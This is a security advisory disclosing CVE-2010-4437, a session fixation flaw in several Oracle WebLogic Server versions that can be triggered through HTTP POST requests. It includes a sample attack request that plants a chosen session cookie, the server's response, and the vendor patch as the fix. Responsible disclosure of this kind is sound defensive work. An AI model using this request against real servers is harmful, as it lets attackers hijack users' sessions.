security-assessment.com
A DIMENSION DATA COMPANY

Vulnerability Advisory

Name	Session Fixation Via HTTP POST Request
Vendor Website	www.oracle.com
Date Released/CVE	9th March 2011 - CVE-2010-4437
Affected Software	Oracle WebLogic Server 9.0, 9.1, 9.2.4, 10.0.2, 10.3.2, 10.3.3
Researcher	Roberto Suggi Liverani

Description

Oracle WebLogic servlet session cookie can be fixated[1] via HTTP POST request. This type of session fixation attack has been confirmed with different session descriptor elements. In particular, the attack has also been confirmed with the session descriptor element *<url-rewriting-enabled>* set to “False”. Such setting prevents session fixation attack via HTTP GET request but fails to mitigate session fixation attacks performed over HTTP POST.

Exploitation

A malicious user obtains a valid servlet session (e.g. AFSSESSIONID) and then forces a user to perform an HTTP POST request which sets the AFSSESSIONID cookie into the user’s browser. The cookie AFSESSIONID is passed as a parameter within the body of the HTTP POST request to the Oracle WebLogic Server, as shown below:

Session Fixation Via HTTP POST Request

```
POST /test/test.jsp HTTP/1.1
Host: 192.168.0.100:7001
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 76


AFSSESSIONID=kWCsMjVKKvRh0ct14JJltYTrmXBWyBqh8brv6wfjrVrk4K2mB1yv!1587485378
```

```
HTTP/1.1 200 OK
Date: Thu, 12 Aug 2010 11:18:42 GMT
Content-Length: 459
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie:
AFSSESSIONID=kWCsMjVKKvRh0ct14JJltYTrmXBWyBqh8brv6wfjrVrk4K2mB1yv!1587485378;
path=/; HttpOnly

X-Powered-By: Servlet/2.5 JSP/2.1
```

Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - January 2011. Security-Assessment.com recommends applying the latest patch provided by the vendor. For more information, visit: http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

[1] Session Fixation - http://projects.webappsec.org/Session-Fixation

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.